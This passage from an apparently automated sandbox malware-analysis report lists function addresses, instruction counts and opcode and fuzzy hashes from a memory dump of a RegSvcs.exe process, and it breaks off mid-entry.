                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: dec391378cc995e4bcc1589e6a6118842a70016cea674f56f99eea4ad8bc76d4
                                                          • Instruction ID: 508c693808cd85fc5b14325b54fa548e05793d8f52bf13ec046154ca97d27378
                                                          • Opcode Fuzzy Hash: dec391378cc995e4bcc1589e6a6118842a70016cea674f56f99eea4ad8bc76d4
                                                          • Instruction Fuzzy Hash: 1D01B972200B459FEB22D6AAC440E6777E9FFD6610F05481EE5568B690DAB0E402C750
                                                          Function 015120F0 Relevance: .0, Instructions: 49COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 21412e5b54b1f6110e40124cae6717f23f239ca6af1b282df11ef3c34d16a5e1
                                                          • Instruction ID: 9a93b58dfd60f5293e712c9feb8bd03f37bd92dd5a6fff8a2ffe74d605a8e819
                                                          • Opcode Fuzzy Hash: 21412e5b54b1f6110e40124cae6717f23f239ca6af1b282df11ef3c34d16a5e1
                                                          • Instruction Fuzzy Hash: 2B116D75A0024DAFDB06EF64C851EAE7BB9FB84744F104059E9029B254D735AE11CB90
                                                          Function 0150E5CF Relevance: .0, Instructions: 49COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 743d4944465fbe52610ac442b222ce13b0803e9d0c7529e719c7359642f9c97b
                                                          • Instruction ID: 4df38d51aa7aa02970b80872918954012fd4984d666f2209321de21ed46d6075
                                                          • Opcode Fuzzy Hash: 743d4944465fbe52610ac442b222ce13b0803e9d0c7529e719c7359642f9c97b
                                                          • Instruction Fuzzy Hash: F301A772201651BFD312AF7ACD44E57B7ECFFA8655700062EB10597661DBB4EC11C6E0
                                                          Function 015669C0 Relevance: .0, Instructions: 49COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: e5c0b27dda39ee76d911b0456fb9d72a5754388f382fdd0e14f51742628ca542
                                                          • Instruction ID: 074118e2bb0dfade752b092fcb3060df52dacd36c68845dfdcb4067888c31149
                                                          • Opcode Fuzzy Hash: e5c0b27dda39ee76d911b0456fb9d72a5754388f382fdd0e14f51742628ca542
                                                          • Instruction Fuzzy Hash: 4501D832214606DBD320DF6AC84896EFBECFB94664F514529E9698B180E7309945C7D1
                                                          Function 0155C460 Relevance: .0, Instructions: 48COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 7cc1c4e3254aba968e381a205001a1165d71a726dabcee59965e0c20e204578f
                                                          • Instruction ID: b86480c6d0741d4a526e7094a98fcaf657ca9d48491be39f2d4c0aeb25da9579
                                                          • Opcode Fuzzy Hash: 7cc1c4e3254aba968e381a205001a1165d71a726dabcee59965e0c20e204578f
                                                          • Instruction Fuzzy Hash: A2113975A00249EBDB15EF68C854EAE7BB9BB98344F00405AAD019B250DA35A911CB90
                                                          Function 0155C97C Relevance: .0, Instructions: 48COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 3beefe2b55743cef89158af98f3b6430151f9eeba2daaf1c4858a2afe341198d
                                                          • Instruction ID: 872fcf495b4573539293d220c6a97028854516c63887fd8b76c95efeae5f5077
                                                          • Opcode Fuzzy Hash: 3beefe2b55743cef89158af98f3b6430151f9eeba2daaf1c4858a2afe341198d
                                                          • Instruction Fuzzy Hash: 2E1157B16083099FC700DF69C44295BBBF8FF99710F00491AB998DB390E630E900CB92
                                                          Function 0155CA11 Relevance: .0, Instructions: 48COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 91a5200d5ccff73f82e5e17035b7838f38670516c8a22e6a6fa841a88a6440cc
                                                          • Instruction ID: 29013dcb76a7813f686fe8c01fab89403734efcaa0e1a56c33512ec5b40e144c
                                                          • Opcode Fuzzy Hash: 91a5200d5ccff73f82e5e17035b7838f38670516c8a22e6a6fa841a88a6440cc
                                                          • Instruction Fuzzy Hash: 781179B16083099FC300DF69C44194BBBE8FF99750F00891FB998DB3A4E670E900CB92
                                                          Function 014EE016 Relevance: .0, Instructions: 46COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 0b4e63a3af2f36388c19bb01a8158bbf85eee50dbe01f6888877beb839016758
                                                          • Instruction ID: 54d3d8d44bb29ccbfb6ebb3f1cf931dbe9439a1aa8f4500631a37cdea5b76a6a
                                                          • Opcode Fuzzy Hash: 0b4e63a3af2f36388c19bb01a8158bbf85eee50dbe01f6888877beb839016758
                                                          • Instruction Fuzzy Hash: F0017C722005A49FE322871DC948F2A7BD8FB55755F0904A2F905DB7E2D638DD41C621
                                                          Function 014C826B Relevance: .0, Instructions: 46COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: b7e611781c5d1f6ce7ab79ef529da79db424e64136b684e0665e6627ae9ccaa1
                                                          • Instruction ID: 34c1c4545a31e8217249041ef40e9618bf7d7b5fc2126776230bf46d6fa7a201
                                                          • Opcode Fuzzy Hash: b7e611781c5d1f6ce7ab79ef529da79db424e64136b684e0665e6627ae9ccaa1
                                                          • Instruction Fuzzy Hash: AB01D43570090A9FD754DFA9D954AAB7BAAFF90A10B06402F9D02AF760DE30D802C290
                                                          Function 0157EB50 Relevance: .0, Instructions: 46COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID: InitializeThunk
                                                          • String ID:
                                                          • API String ID: 2994545307-0
                                                          • Opcode ID: 26c2e72cd8f6467344cb8abf37a687f8b72b5c8aa1d3f4401006c21932440db3
                                                          • Instruction ID: 5530cd475e7e4f407e6c1810413d4679215fb3e35ffd00ff99768849d2cff492
                                                          • Opcode Fuzzy Hash: 26c2e72cd8f6467344cb8abf37a687f8b72b5c8aa1d3f4401006c21932440db3
                                                          • Instruction Fuzzy Hash: 15018F71240705AFD3315F5AE942F16BAE8FF65B50F11482EA20A9F3A0D6B099418BA4
                                                          Function 014D2582 Relevance: .0, Instructions: 45COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 21a06861729112782e49e88790538da10cf77b383c8498794bc60c22da3896cb
                                                          • Instruction ID: b3325a2f8b0454b00eed75d08aea6616d9117b82d9d5512553daac38f7589ba4
                                                          • Opcode Fuzzy Hash: 21a06861729112782e49e88790538da10cf77b383c8498794bc60c22da3896cb
                                                          • Instruction Fuzzy Hash: 09F0F933641710B7CB319F5B8C50F577EE9EB94B90F00402AE60697650C670ED01CAA0
                                                          Function 014FC073 Relevance: .0, Instructions: 43COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 65a6da88ffe4e3ef4f4bf4dda68b508183db8c002971e90ba11f3763248cd9ea
                                                          • Instruction ID: 40c020eab385671a93d1595f2ef83d774e338b2999d1a085bba11487cc4fa6f6
                                                          • Opcode Fuzzy Hash: 65a6da88ffe4e3ef4f4bf4dda68b508183db8c002971e90ba11f3763248cd9ea
                                                          • Instruction Fuzzy Hash: 36F0A4B2600615ABD324CF4D9840E57F7EADBD1A90F048129A605CB320E631DD05CB50
                                                          Function 015A634F Relevance: .0, Instructions: 43COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: a352720be6b2e8048fec72192c86a47bd4cfd126ce40a3ee0ffb91fe6b3dc35d
                                                          • Instruction ID: 08b0875c160f23cf43cca851d87ef8cf62b520b73ddc9bfaba97a4e6faf03b43
                                                          • Opcode Fuzzy Hash: a352720be6b2e8048fec72192c86a47bd4cfd126ce40a3ee0ffb91fe6b3dc35d
                                                          • Instruction Fuzzy Hash: 22017171A1020AAFDB00DFA9E55199EB7F8FF58304F10405AE900EB350D6349A018BA0
                                                          Function 014CC310 Relevance: .0, Instructions: 43COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 256e141dc6b9705f9909cc47be5080ee0eb4db29c7708f1459163a76593eb05a
                                                          • Instruction ID: 7569f939abf1c44b638a520f1bf2e689413ab5b9cfe1fb09c06aa1e977b0c89b
                                                          • Opcode Fuzzy Hash: 256e141dc6b9705f9909cc47be5080ee0eb4db29c7708f1459163a76593eb05a
                                                          • Instruction Fuzzy Hash: 3DF0FC372046339BD772579A58C0B2BA9959FE1E64F19003FF20D9B274C9748D0357D0
                                                          Function 015A625D Relevance: .0, Instructions: 43COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 995fbe2fdaae6ce87a59574475edff107ee7996e083b4dbfb1dea6051ef5f6bd
                                                          • Instruction ID: 5fa375d9c5bfef3e73dda367f00b7cc0a3628cb8d2ec44302caa8ffd6c2eefbc
                                                          • Opcode Fuzzy Hash: 995fbe2fdaae6ce87a59574475edff107ee7996e083b4dbfb1dea6051ef5f6bd
                                                          • Instruction Fuzzy Hash: C3017C71A0020AAFDB04DFA9D451AAEB7F8FF58704F10406AF900EB390D674AA018BA0
                                                          Function 015A62D6 Relevance: .0, Instructions: 43COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 7ded7ea2d5260b27312dcb1030790ae54e1877d806bf20682a81d8451e83be8c
                                                          • Instruction ID: 0a577d2c85dc5f666fd46d2fdb7e3930ee3da9957bf8eabfa6ea282a7ef5c783
                                                          • Opcode Fuzzy Hash: 7ded7ea2d5260b27312dcb1030790ae54e1877d806bf20682a81d8451e83be8c
                                                          • Instruction Fuzzy Hash: 22012171A0020AAFDB04DFA9D55599EBBF8FF58704F54405AE914EB350D67499018BA0
                                                          Function 0150CA6F Relevance: .0, Instructions: 42COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 6225b3f56bb7e4a8823ac3bf287c1186c08f5b75335344108ff231fc305a603f
                                                          • Instruction ID: bdee80af5c19ade5325ff8c51626c04c4eacf018a0c7f7379e3c7a9c505691c9
                                                          • Opcode Fuzzy Hash: 6225b3f56bb7e4a8823ac3bf287c1186c08f5b75335344108ff231fc305a603f
                                                          • Instruction Fuzzy Hash: 1601D1326006859BE323D6ADC809F5DBBD8FF52758F0845A6FA048F6A1D6B9C841C210
                                                          Function 015A61E5 Relevance: .0, Instructions: 41COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: d54ee53a5ac46c78cdf40b0cefc76a55121f22c1e21f146d9f0ec0eeb504d620
                                                          • Instruction ID: 68bcd88b38c91705973dc6ca07419d1867ce2bdbc93f9eb9b79ac23c3b9c717d
                                                          • Opcode Fuzzy Hash: d54ee53a5ac46c78cdf40b0cefc76a55121f22c1e21f146d9f0ec0eeb504d620
                                                          • Instruction Fuzzy Hash: A3018F71A002499FDB00DFA9D445AEEBBF8BF58310F14005AE500AB280D734EA01CB94
                                                          Function 015563C0 Relevance: .0, Instructions: 41COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: dbb06fbea8421d8b96890fd2b120b20d820a8046168cc589f8d54c87f08ef009
                                                          • Instruction ID: aeaaf2efa6817c401559d1f1c002b23a4ae8617dff57cef81f35c28a767fe9ac
                                                          • Opcode Fuzzy Hash: dbb06fbea8421d8b96890fd2b120b20d820a8046168cc589f8d54c87f08ef009
                                                          • Instruction Fuzzy Hash: 46F01D7220005EBFEF029F95DD80DAF7BBEFB59298B114129FA1196170D631DD21ABA0
                                                          Function 0155A4B0 Relevance: .0, Instructions: 40COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: dbaef04d7bbe62e0dd6aa278fc2235635ed85616d2c394b3b977d0a4a2cc0d05
                                                          • Instruction ID: ff2af81360f23f57252a77cadab203109339c55f721660c9f771d8b712b6d4cb
                                                          • Opcode Fuzzy Hash: dbaef04d7bbe62e0dd6aa278fc2235635ed85616d2c394b3b977d0a4a2cc0d05
                                                          • Instruction Fuzzy Hash: D1018936110109AFCF129E84DC40EDE3F66FB4C754F068206FE186A220C332D970EB81
                                                          Function 014CC0F0 Relevance: .0, Instructions: 39COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 3a3a656eb3a7c25aaf143078a0dc2c8f1bb6bc56c1068846cb6ffe7d967d2c25
                                                          • Instruction ID: fc4bbfda2569e501c573ad797cb61086961178daf9dc90732c63fc1dad3264d3
                                                          • Opcode Fuzzy Hash: 3a3a656eb3a7c25aaf143078a0dc2c8f1bb6bc56c1068846cb6ffe7d967d2c25
                                                          • Instruction Fuzzy Hash: A8F0F6752042415FF6A4951A8C91B333695E7D0A51F65806FEB098B7E1EE71D8018694
                                                          Function 0150656A Relevance: .0, Instructions: 39COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: cfcb698ae6f8f700983ada593e27a1ef32b655591bfde62d64bba17b9ffc5730
                                                          • Instruction ID: 7f6fe300ec5f455293adb5c8f1fcd249da2deb394ef6dc2685787b41c6bd11c3
                                                          • Opcode Fuzzy Hash: cfcb698ae6f8f700983ada593e27a1ef32b655591bfde62d64bba17b9ffc5730
                                                          • Instruction Fuzzy Hash: 6501A470240B859FF3239BACCD48F2937E4BB50B04F880594BA019FAE6E779D4418610
                                                          Function 0157437C Relevance: .0, Instructions: 37COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: abe8a162c34942eaba6aef332befd3f6f0562530e07f378f59fd36a18add1061
                                                          • Instruction ID: c86704b793ac2ae803796a7a02d08dc8031739c54105fdbe509fba6a30b2352e
                                                          • Opcode Fuzzy Hash: abe8a162c34942eaba6aef332befd3f6f0562530e07f378f59fd36a18add1061
                                                          • Instruction Fuzzy Hash: 19F0E235341E1347EB36BA2EA421B3EAA95BFE0A10B25052D9609CF6D0DF20DC808790
                                                          Function 0155E872 Relevance: .0, Instructions: 36COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 6168c74df7881035f69970a17cdbc8bbd68c52d06f01b9a11dec5043249d3eba
                                                          • Instruction ID: cb184d55bc36a8f69f7ca71d6fadb7fb7f4b452889999c736fc78f5a85c3529b
                                                          • Opcode Fuzzy Hash: 6168c74df7881035f69970a17cdbc8bbd68c52d06f01b9a11dec5043249d3eba
                                                          • Instruction Fuzzy Hash: B6F054337155119BD3619E4ECC91F16F7A8FFD5A60F19046AAA059F660C760ED0287D0
                                                          Function 0155C89D Relevance: .0, Instructions: 36COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: a572cd7a412b263913d016c779d838a03b1addcc97d90f3a3528606e0fd807b1
                                                          • Instruction ID: 4d69faecded21b2c94832c91e2e15d2bedb865ccb5b3364d30232160240497f6
                                                          • Opcode Fuzzy Hash: a572cd7a412b263913d016c779d838a03b1addcc97d90f3a3528606e0fd807b1
                                                          • Instruction Fuzzy Hash: 89F0AF706057059FD350EF28C556E1ABBE8FF98710F40465ABC98DF394E634E901C796
                                                          Function 01500854 Relevance: .0, Instructions: 35COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 4cdcb84ab97496671339d5fdb647af6bc44589d2c26ee95e7ea7cdc637936955
                                                          • Instruction ID: 4efdbd51e9859353f01f9cee02f265d69715ad9ef82deae7d495ddf4cd74bb4b
                                                          • Opcode Fuzzy Hash: 4cdcb84ab97496671339d5fdb647af6bc44589d2c26ee95e7ea7cdc637936955
                                                          • Instruction Fuzzy Hash: E2F02472600200AFE315DF66CC04F56B6E9FFA9340F148078A544CB1F0FAB0EE00C654
                                                          Function 0155C912 Relevance: .0, Instructions: 34COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: c3715688a74e13334c3e8913522278d54ecd04ac891c49d687944f21ecea9b53
                                                          • Instruction ID: 36bca36648bae312fbc47c6170b8a5e24a3c2893ad69970c987e4473a24d5dcc
                                                          • Opcode Fuzzy Hash: c3715688a74e13334c3e8913522278d54ecd04ac891c49d687944f21ecea9b53
                                                          • Instruction Fuzzy Hash: 00F04F70A0124A9FDB04EF69C525E5EB7F8FF58300F00805AA955EB395DA38EA01CB50
                                                          Function 014D47FB Relevance: .0, Instructions: 33COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: ba19b6532435725da08cd6bbc5cdbae36f23764b84905fded7c9acbfb757a7ac
                                                          • Instruction ID: 64c18ce2815d66a2bd1a285135c5372502e1e54335ed89ce77b116b7f0090874
                                                          • Opcode Fuzzy Hash: ba19b6532435725da08cd6bbc5cdbae36f23764b84905fded7c9acbfb757a7ac
                                                          • Instruction Fuzzy Hash: A0F096799156D19EDF22875CC06DB13B7D49B00BA0F0D596BE549C7E32C774D840C651
                                                          Function 01590115 Relevance: .0, Instructions: 32COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 370722fa9c03375b546ee5fb21270704c1dd6e919e1cda159cce220454f48ed7
                                                          • Instruction ID: f5f4a45fd024aeac162e968f17450ef2c24189359cca5b69122dc10e6011a1a5
                                                          • Opcode Fuzzy Hash: 370722fa9c03375b546ee5fb21270704c1dd6e919e1cda159cce220454f48ed7
                                                          • Instruction Fuzzy Hash: C6F027B641AAC20ECF726F2C6C502E93FA8B781510F0A1849D4B1AF345C774C687E321
                                                          Function 0150C5ED Relevance: .0, Instructions: 31COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 3a60e2a41c5bda1ae60d017a9c286bd20c2c8491bef7d7a16bb0025c636d0762
                                                          • Instruction ID: ffbee7c47af604876c4775873833b6279716ba39dfd032e70170bae260de17dc
                                                          • Opcode Fuzzy Hash: 3a60e2a41c5bda1ae60d017a9c286bd20c2c8491bef7d7a16bb0025c636d0762
                                                          • Instruction Fuzzy Hash: 94F052714026419FE73387DCC808B197BE4BB03BA0F0C9AA6D802CF192C370F880CA40
                                                          Function 01512619 Relevance: .0, Instructions: 31COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 6c7572fa5744a55e43c142e8942155ae64e2404789e34097860efd8d5a2ca0e7
                                                          • Instruction ID: 9df7d3f152e961795f534460200cd052ccb9f0ade0220e1f78977d71477f3a45
                                                          • Opcode Fuzzy Hash: 6c7572fa5744a55e43c142e8942155ae64e2404789e34097860efd8d5a2ca0e7
                                                          • Instruction Fuzzy Hash: 79E0D8323006016BF7129F598CC4F5777AEEFE2B14F14447DB5045F295CAE2DC0986A4
                                                          Function 01566030 Relevance: .0, Instructions: 29COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 2f21787fc4cf88bc2024fb188b518997cea13084236808dfde9be923dffdf6d3
                                                          • Instruction ID: 567d80b9c9a493d8e12ffef3bea930382f35a73cf44523eb742413c858bead65
                                                          • Opcode Fuzzy Hash: 2f21787fc4cf88bc2024fb188b518997cea13084236808dfde9be923dffdf6d3
                                                          • Instruction Fuzzy Hash: 92F01C72104204AFE3218F0AD944B56BBFCFB15374F55C42AE6099F561D379EC40CBA4
                                                          Function 014D0710 Relevance: .0, Instructions: 28COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 09d204908d37cdfbcfc5d4a721560e7c3d6986de64c378e18d154b12347e5c6c
